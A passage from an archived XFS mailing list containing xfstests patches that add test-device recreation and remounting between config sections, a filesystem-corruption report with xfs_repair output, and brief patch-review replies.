oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B44567F62 for ; Thu, 11 Jul 2013 05:38:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6399D30407E for ; Thu, 11 Jul 2013 03:38:23 -0700 (PDT) X-ASG-Debug-ID: 1373539102-04bdf0233fe002d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EfqXimoYOXb0TQx2 for ; Thu, 11 Jul 2013 03:38:22 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcMMr027039 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:22 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAZ5003691; Thu, 11 Jul 2013 06:38:21 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 09/10 v2] xfstests: Allow to recreate TEST_DEV Date: Thu, 11 Jul 2013 12:38:04 +0200 X-ASG-Orig-Subj: [PATCH 09/10 v2] xfstests: Allow to recreate TEST_DEV Message-Id: <1373539085-8577-10-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539102 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add config option RECREATE_TEST_DEV to allow to recreate file system on the TEST_DEV device. Permitted values are true and false. If RECREATE_TEST_DEV is set to true the TEST_DEV device will be unmounted and FSTYP file system will be created on it. Afterwards it will be mounted to TEST_DIR again with the default, or specified mount options. Also recreate the file system if FSTYP differs from the previous section. Signed-off-by: Lukas Czerner --- README.config-sections | 43 ++++++++++++++++---- check | 33 ++++++++++++--- common/config | 106 +++++++++++++++++++++++++++++++++++++++++++++++++ common/rc | 26 +++++++++--- 4 files changed, 189 insertions(+), 19 deletions(-) diff --git a/README.config-sections b/README.config-sections index 6d88a6f..4d60272 100644 --- a/README.config-sections +++ b/README.config-sections @@ -5,16 +5,20 @@ Configuration file with sections is useful for running xfstests on multiple file systems, or multiple file system setups in a single run without any help of external scripts. + +Syntax +------ + Syntax for defining a section is the following: -[section_name] + [section_name] Section name should consist of alphanumeric characters and '_'. Anything else is forbidden and the section will not be recognised. Each section in the configuration file should contain options in the format -OPTION=value + OPTION=value 'OPTION' must not contain any white space characters. 'value' can contain any character you want with one simple limitation - characters ' and " can @@ -24,9 +28,31 @@ Note that options are carried between sections so the same options does not have to be specified in each and every sections. However caution should be exercised not to leave unwanted options set from previous sections. + +Results +------- + For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. + +Multiple file systems +--------------------- + +Having different file systems in different config sections is allowed. When +FSTYP differs in the following section the FSTYP file system will be created +automatically before running the test. + +Note that if MOUNT_OPTIONS, MKFS_OPTIONS, or FSCK_OPTIONS are not directly +specified in the section it will be reset to the default for a given file +system. + +You can also force the file system recreation by specifying RECREATE_TEST_DEV. + + +Example +------- + Here is an example of config file with sections: [ext4_4k_block_size] @@ -36,6 +62,7 @@ SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 +RESULT_BASE="`pwd`/results/`date +%d%m%y_%H%M%S`" [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" @@ -43,8 +70,10 @@ MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" -[ext4_discard_ssd] -MKFS_OPTIONS="-q -F -b4096" -TEST_DEV=/dev/sdc -SCRATCH_DEV=/dev/sdd -MOUNT_OPTIONS="-o discard" +[xfs_filesystem] +MKFS_OPTIONS="-f" +FSTYP=xfs + +[ext3_filesystem] +FSTYP=ext3 +MOUNT_OPTIONS="-o noatime" diff --git a/check b/check index 1df7a37..5775276 100755 --- a/check +++ b/check @@ -283,8 +283,6 @@ if $have_test_arg; then done fi -_prepare_test_list - # we need common/rc if ! . ./common/rc then @@ -386,6 +384,8 @@ _summary() rm -f $tmp.* } +_prepare_test_list + if $OPTIONS_HAVE_SECTIONS; then trap "_summary; exit \$status" 0 1 2 3 15 else @@ -393,8 +393,8 @@ else fi for section in $HOST_OPTIONS_SECTIONS; do + OLD_FSTYP=$FSTYP get_next_config $section - init_rc mkdir -p $RESULT_BASE if [ ! -d $RESULT_BASE ]; then @@ -402,6 +402,30 @@ for section in $HOST_OPTIONS_SECTIONS; do exit 1; fi + if $OPTIONS_HAVE_SECTIONS; then + echo "SECTION -- $section" + fi + + if $RECREATE_TEST_DEV || [ "$OLD_FSTYP" != "$FSTYP" ]; then + echo "RECREATING -- $FSTYP on $TEST_DEV" + _umount_or_remount_ro $TEST_DEV 2>&1> /dev/null + if ! _test_mkfs >$tmp.err 2>&1 + then + echo "our local _test_mkfs routine ..." + cat $tmp.err + echo "check: failed to mkfs \$TEST_DEV using specified options" + exit 1 + fi + out=`_mount_or_remount_rw "$MOUNT_OPTIONS" $TEST_DEV $TEST_DIR` + if [ $? -ne 1 ]; then + echo $out + exit 1 + fi + _prepare_test_list + fi + + init_rc + seq="check" check="$RESULT_BASE/check" @@ -411,9 +435,6 @@ for section in $HOST_OPTIONS_SECTIONS; do [ -f $check.time ] || touch $check.time # print out our test configuration - if $OPTIONS_HAVE_SECTIONS; then - echo "SECTION -- $section" - fi echo "FSTYP -- `_full_fstyp_details`" echo "PLATFORM -- `_full_platform_details`" if [ ! -z "$SCRATCH_DEV" ]; then diff --git a/common/config b/common/config index 8011ec4..a0b650b 100644 --- a/common/config +++ b/common/config @@ -82,6 +82,8 @@ export PWD=`pwd` export MALLOCLIB=${MALLOCLIB:=/usr/lib/libefence.a} export LOCAL_CONFIGURE_OPTIONS=${LOCAL_CONFIGURE_OPTIONS:=--enable-readline=yes} +export RECREATE_TEST_DEV=false + # $1 = prog to look for, $2* = default pathnames if not found in $PATH set_prog_path() { @@ -212,6 +214,91 @@ case "$HOSTOS" in ;; esac +_mount_opts() +{ + # SELinux adds extra xattrs which can mess up our expected output. + # So, mount with a context, and they won't be created + # # nfs_t is a "liberal" context so we can use it. + if [ -x /usr/sbin/selinuxenabled ] && /usr/sbin/selinuxenabled; then + SELINUX_MOUNT_OPTIONS="-o context=system_u:object_r:nfs_t:s0" + export SELINUX_MOUNT_OPTIONS + fi + + case $FSTYP in + xfs) + export MOUNT_OPTIONS=$XFS_MOUNT_OPTIONS + ;; + udf) + export MOUNT_OPTIONS=$UDF_MOUNT_OPTIONS + ;; + nfs) + export MOUNT_OPTIONS=$NFS_MOUNT_OPTIONS + ;; + ext2|ext3|ext4|ext4dev) + # acls & xattrs aren't turned on by default on ext$FOO + export MOUNT_OPTIONS="-o acl,user_xattr $EXT_MOUNT_OPTIONS" + ;; + reiserfs) + # acls & xattrs aren't turned on by default on reiserfs + export MOUNT_OPTIONS="-o acl,user_xattr $REISERFS_MOUNT_OPTIONS" + ;; + gfs2) + # acls aren't turned on by default on gfs2 + export MOUNT_OPTIONS="-o acl $GFS2_MOUNT_OPTIONS" + ;; + *) + ;; + esac +} + +_mkfs_opts() +{ + case $FSTYP in + xfs) + export MKFS_OPTIONS=$XFS_MKFS_OPTIONS + ;; + udf) + [ ! -z "$udf_fsize" ] && \ + UDF_MKFS_OPTIONS="$UDF_MKFS_OPTIONS -s $udf_fsize" + export MKFS_OPTIONS=$UDF_MKFS_OPTIONS + ;; + nfs) + export MKFS_OPTIONS=$NFS_MKFS_OPTIONS + ;; + reiserfs) + export MKFS_OPTIONS="$REISERFS_MKFS_OPTIONS -q" + ;; + gfs2) + export MKFS_OPTIONS="$GFS2_MKFS_OPTIONS -O -p lock_nolock" + ;; + jfs) + export MKFS_OPTIONS="$JFS_MKFS_OPTIONS -q" + ;; + *) + ;; + esac +} + +_fsck_opts() +{ + case $FSTYP in + ext2|ext3|ext4|ext4dev) + export FSCK_OPTIONS="-nf" + ;; + reiserfs) + export FSCK_OPTIONS="--yes" + ;; + *) + export FSCK_OPTIONS="-n" + ;; + esac +} + +[ -z "$FSTYP" ] && export FSTYP=xfs +[ -z "$MOUNT_OPTIONS" ] && _mount_opts +[ -z "$MKFS_OPTIONS" ] && _mkfs_opts +[ -z "$FSCK_OPTIONS" ] && _fsck_opts + known_hosts() { [ "$HOST_CONFIG_DIR" ] || HOST_CONFIG_DIR=`pwd`/configs @@ -270,8 +357,27 @@ parse_config_section() { } get_next_config() { + local OLD_FSTYP=$FSTYP + local OLD_MOUNT_OPTIONS=$MOUNT_OPTIONS + local OLD_MKFS_OPTIONS=$MKFS_OPTIONS + local OLD_FSCK_OPTIONS=$FSCK_OPTIONS + + unset MOUNT_OPTIONS + unset MKFS_OPTIONS + unset FSCK_OPTIONS + parse_config_section $1 + if [ -n "$OLD_FSTYP" ] && [ $OLD_FSTYP != $FSTYP ]; then + [ -z "$MOUNT_OPTIONS" ] && _mount_opts + [ -z "$MKFS_OPTIONS" ] && _mkfs_opts + [ -z "$FSCK_OPTIONS" ] && _fsck_opts + else + [ -z "$MOUNT_OPTIONS" ] && export MOUNT_OPTIONS=$OLD_MOUNT_OPTIONS + [ -z "$MKFS_OPTIONS" ] && export MKFS_OPTIONS=$OLD_MKFS_OPTIONS + [ -z "$FSCK_OPTIONS" ] && export FSCK_OPTIONS=$OLD_FSCK_OPTIONS + fi + # set default RESULT_BASE if [ -z "$RESULT_BASE" ]; then export RESULT_BASE="$here/results/" diff --git a/common/rc b/common/rc index 0dd30a3..10116a6 100644 --- a/common/rc +++ b/common/rc @@ -152,12 +152,6 @@ _fsck_opts() esac } -[ -z "$FSTYP" ] && FSTYP=xfs -[ -z "$MOUNT_OPTIONS" ] && _mount_opts -[ -z "$MKFS_OPTIONS" ] && _mkfs_opts -[ -z "$FSCK_OPTIONS" ] && _fsck_opts - - # we need common/config if [ "$iam" != "check" ] then @@ -490,6 +484,7 @@ _setup_large_ext4_fs() fi return 0 } + _scratch_mkfs_ext4() { local tmp_dir=/tmp/ @@ -518,6 +513,24 @@ _scratch_mkfs_ext4() return $mkfs_status } +_test_mkfs() +{ + case $FSTYP in + nfs*) + # do nothing for nfs + ;; + udf) + $MKFS_UDF_PROG $MKFS_OPTIONS $* $TEST_DEV > /dev/null + ;; + btrfs) + $MKFS_BTRFS_PROG $MKFS_OPTIONS $* $TEST_DEV > /dev/null + ;; + *) + yes | $MKFS_PROG -t $FSTYP -- $MKFS_OPTIONS $* $TEST_DEV + ;; + esac +} + _scratch_mkfs() { case $FSTYP in @@ -919,6 +932,7 @@ _supported_fs() _notrun "not suitable for this filesystem type: $FSTYP" } + # tests whether $FSTYP is one of the supported OSes for a test # _supported_os() -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5E6AB7F69 for ; Thu, 11 Jul 2013 05:38:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 32DD330407B for ; Thu, 11 Jul 2013 03:38:24 -0700 (PDT) X-ASG-Debug-ID: 1373539103-04bdf0233ce002d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sNyrRh8NpQWz6Yhd for ; Thu, 11 Jul 2013 03:38:23 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcNJX031050 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:23 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAZ6003691; Thu, 11 Jul 2013 06:38:22 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 10/10 v2] xfstests: Remount file system if MOUNT_OPTIONS changed Date: Thu, 11 Jul 2013 12:38:05 +0200 X-ASG-Orig-Subj: [PATCH 10/10 v2] xfstests: Remount file system if MOUNT_OPTIONS changed Message-Id: <1373539085-8577-11-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539103 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When MOUNT_OPTIONS change we should remount TEST_DEV to put the changes in effect. This will allow us to have different MOUNT_OPTIONS in sections in configuration file. Signed-off-by: Lukas Czerner --- README.config-sections | 8 ++++++++ check | 8 ++++++++ 2 files changed, 16 insertions(+) diff --git a/README.config-sections b/README.config-sections index 4d60272..2849fd5 100644 --- a/README.config-sections +++ b/README.config-sections @@ -36,6 +36,14 @@ For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. +Different mount options +----------------------- + +Specifying different mount options in difference config sections is allowed. +When MOUNT_OPTIONS differs in the following section TEST_DEV will be remounted +with new MOUNT_OPTIONS automatically before running the test. + + Multiple file systems --------------------- diff --git a/check b/check index 5775276..ef91260 100755 --- a/check +++ b/check @@ -394,6 +394,7 @@ fi for section in $HOST_OPTIONS_SECTIONS; do OLD_FSTYP=$FSTYP + OLD_MOUNT_OPTIONS=$MOUNT_OPTIONS get_next_config $section mkdir -p $RESULT_BASE @@ -422,6 +423,13 @@ for section in $HOST_OPTIONS_SECTIONS; do exit 1 fi _prepare_test_list + elif [ "$OLD_MOUNT_OPTIONS" != "$MOUNT_OPTIONS" ]; then + _umount_or_remount_ro $TEST_DEV 2>&1> /dev/null + out=`_mount_or_remount_rw "$MOUNT_OPTIONS" $TEST_DEV $TEST_DIR` + if [ $? -ne 1 ]; then + echo $out + exit 1 + fi fi init_rc -- 1.8.3.1 From markus@trippelsdorf.de Thu Jul 11 06:28:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D202C7F37 for ; Thu, 11 Jul 2013 06:28:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 688EAAC002 for ; Thu, 11 Jul 2013 04:28:30 -0700 (PDT) X-ASG-Debug-ID: 1373542107-04bdf02b8ebdd0e0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id tqnrV74v9kA1efhs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 04:28:28 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:content-transfer-encoding:in-reply-to; s=beta; bh= p8Y3d2/VgfAo5fF4YOAmTM5JArRvZhFY0epTIFAafZ0=; b=bXuXvTVVx5DMw3TN 0vmYp0pzZlatM0H/QLrY5zSA9N+0qftm+LEdwjtuXrtvKQR//O10QVaU3T3chT4A gDXujB2ior/3SdANl6pZhXIrHpKMduiC6H1bz8zUN49v1O8RYsyik8RCnxbpKZka 5Z/ZcxpOc26l31A9FmOpiABZnPY= Received: (qmail 30754 invoked from network); 11 Jul 2013 13:28:27 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 11 Jul 2013 13:28:27 +0200 Date: Thu, 11 Jul 2013 13:28:26 +0200 From: Markus Trippelsdorf To: Stan Hoeppner Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711112826.GA363@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20130711090755.GA363@x4> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373542108 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.11 at 11:07 +0200, Markus Trippelsdorf wrote: > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > >> bisection. First my window-rules disappeared, then my desktop background > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > >> In the end I had to restore all my .files from backup. > > > > > > That's not filesystem corruption. That sounds more like someone not > > > using fsync in the apropriate place when overwriting a file.... > > > > From Sandeen's blog, March 2009: > > > > "I dunno how to resolve this right now. I talked to some nice KDE folks > > on irc; they basically want atomic writes, either you get your old file > > or your new file post-crash; and tempfile/sync/rename does this – but > > the fsync hurts on 78% of the Linux filesystems out there. So their > > KSaveFile class doesn’t fsync. So what to do, what to do.." > > > > That's 4 years ago. Is it possible the KDE devs are still not using > > fsync? Sure seems likely given Markus' problem. > > Looking at the source: > http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 > it appears that one can set an environment variable KDE_EXTRA_FSYNC to > address this issue. > > However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still > loose my KDE settings in case of a crash. So the whole fsync thing might > be a red herring. It turned out that the KDE_EXTRA_FSYNC variable doesn't affect KDE config file handling at all. So I've added an fsync in kconfigini.cpp (KConfigIniBackend::writeConfig) and now I don't loose my settings anymore during kernel crash testing. That is until xfs eats my KDE config files (kwinrulesr in this case): root@ubunt:/home/markus# xfs_repair /dev/sdc2 Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... agi unlinked bucket 55 is 406711 in ag 3 (inode=101070007) - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 imap claims a free inode 858183 is in use, correcting imap and clearing inode cleared inode 858183 - agno = 1 imap claims a free inode 40112137 is in use, correcting imap and clearing inode cleared inode 40112137 imap claims a free inode 40112354 is in use, correcting imap and clearing inode cleared inode 40112354 - agno = 2 imap claims a free inode 68162927 is in use, correcting imap and clearing inode cleared inode 68162927 7f336f1b6700: Badness in key lookup (length) bp=(bno 47086672, len 16384 bytes) key=(bno 47086672, len 8192 bytes) - agno = 3 imap claims a free inode 100865109 is in use, correcting imap and clearing inode cleared inode 100865109 imap claims a free inode 101069993 is in use, correcting imap and clearing inode cleared inode 101069993 imap claims a free inode 101070010 is in use, correcting imap and clearing inode cleared inode 101070010 imap claims a free inode 101070015 is in use, correcting imap and clearing inode cleared inode 101070015 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 2 - agno = 1 - agno = 3 entry "mytexts.bau" in shortform directory 67333623 references free inode 68162927 junking entry "mytexts.bau" in directory inode 67333623 entry "dialog.xlc" in shortform directory 252098 references free inode 858183 junking entry "dialog.xlc" in directory inode 252098 entry "evolocal.odb" in shortform directory 100870253 references free inode 100865109 junking entry "evolocal.odb" in directory inode 100870253 entry "kwinrulesrc" at block 0 offset 2552 in directory inode 103698564 references free inode 101070010 clearing inode number in entry at offset 2552... entry "kwinrulesrcbhc578.new" at block 0 offset 3224 in directory inode 103698564 references free inode 101070015 clearing inode number in entry at offset 3224... entry "Module1.xba" in shortform directory 40112359 references free inode 40112354 junking entry "Module1.xba" in directory inode 40112359 entry "script.xlb" in shortform directory 40112359 references free inode 40112137 junking entry "script.xlb" in directory inode 40112359 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... bad hash table for directory inode 103698564 (no data entry): rebuilding rebuilding directory inode 103698564 - traversal finished ... - moving disconnected inodes to lost+found ... disconnected inode 101070007, moving to lost+found Phase 7 - verify and correct link counts... cache_purge: shake on cache 0x1bc6030 left 1 nodes!? done -- Markus From bpm@sgi.com Thu Jul 11 10:48:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AC8657F3F for ; Thu, 11 Jul 2013 10:48:36 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3BEBAAC005; Thu, 11 Jul 2013 08:48:33 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C520A500B50; Thu, 11 Jul 2013 10:48:32 -0500 (CDT) Date: Thu, 11 Jul 2013 10:48:32 -0500 From: Ben Myers To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v11 1/4] xfs: Add pquota fields where gquota is used. Message-ID: <20130711154832.GB20932@sgi.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-2-git-send-email-sekharan@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373518843-1492-2-git-send-email-sekharan@us.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Jul 11, 2013 at 12:00:40AM -0500, Chandra Seetharaman wrote: > Add project quota changes to all the places where group quota field > is used: > * add separate project quota members into various structures > * split project quota and group quotas so that instead of overriding > the group quota members incore, the new project quota members are > used instead > * get rid of usage of the OQUOTA flag incore, in favor of separate > group and project quota flags. > * add a project dquot argument to various functions. > > Not using the pquotino field from superblock yet. > > Signed-off-by: Chandra Seetharaman Looks good. Applied. Reviewed-by: Ben Myers From cmaiolino@redhat.com Thu Jul 11 12:53:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F36767F50 for ; Thu, 11 Jul 2013 12:53:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DACE1304062 for ; Thu, 11 Jul 2013 10:53:29 -0700 (PDT) X-ASG-Debug-ID: 1373565208-04cb6c2a46b576c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Kj2nuHCVhKG0ggzL for ; Thu, 11 Jul 2013 10:53:29 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BHrSVd002243 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 11 Jul 2013 13:53:28 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-48.phx2.redhat.com [10.3.113.48]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6BHrIRH007868 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 11 Jul 2013 13:53:22 -0400 Date: Thu, 11 Jul 2013 14:53:16 -0300 From: Carlos Maiolino To: Ben Myers Cc: Eric Sandeen , Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs Message-ID: <20130711175315.GB10711@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs References: <51A68175.9020202@redhat.com> <51A7B03E.2080909@sandeen.net> <20130612192320.GA12955@andromeda.usersys.redhat.com> <20130708215151.GK20932@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708215151.GK20932@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373565209 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Jul 08, 2013 at 04:51:51PM -0500, Ben Myers wrote: > Hey Carlos & Eric, > > On Wed, Jun 12, 2013 at 04:23:20PM -0300, Carlos Maiolino wrote: > > I'm personally working on this bug with Eric, and the test properly trigger the > > bug on 100% of the test runs, but, it should also ensure that > > `irix_sgid_inherit` sysctl is set to 0, if not, the test will fail. > > > > follow is a suggestion for a better changelog: > > > > Tests if subdirectories created on the filesystem will properly inherit sgid bit > > when this is set on the parent directory, once the process has the properly > > permissions to create a subdirectory, this, should inherit parent's sgid bit if > > this is set and irix_sgid_inherit sysctl is disabled. > > I applied this and tested with Carlos's latest patch: > > generic/313 - output mismatch (see /root/xfstests/results/generic/313.out.bad) > --- tests/generic/313.out 2013-07-08 16:27:41.787710646 -0500 > +++ /root/xfstests/results/generic/313.out.bad 2013-07-08 16:47:46.052683735 -0500 > @@ -1,3 +1,3 @@ > QA output created by 313 > -drwxr-sr-x. TEST_DIR/313-dir/subdir > +drwxr-sr-x TEST_DIR/313-dir/subdir > drwxrwsr-x+ TEST_DIR/313-dir/subdir2 > ... > (Run 'diff -u tests/generic/313.out /root/xfstests/results/generic/313.out.bad' to see the entire diff) > > Looks like there could be a problem with ls? Have you seen that? > > Thanks, > Ben > Actually I don't think this is a problem, but the way newer `ls` versions are displaying the object permissions (the 'dot' at the end of the permissions, indicating there are no extra attributes). I'm going to take a look on what's going on, but I still believe it's just a matter of add the 'dot' to the xfstests correct output. I had this same problem when testing my patch and needed to fix it locally, but missed to warn you guys, my apologies -- Carlos From bfoster@redhat.com Thu Jul 11 13:19:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 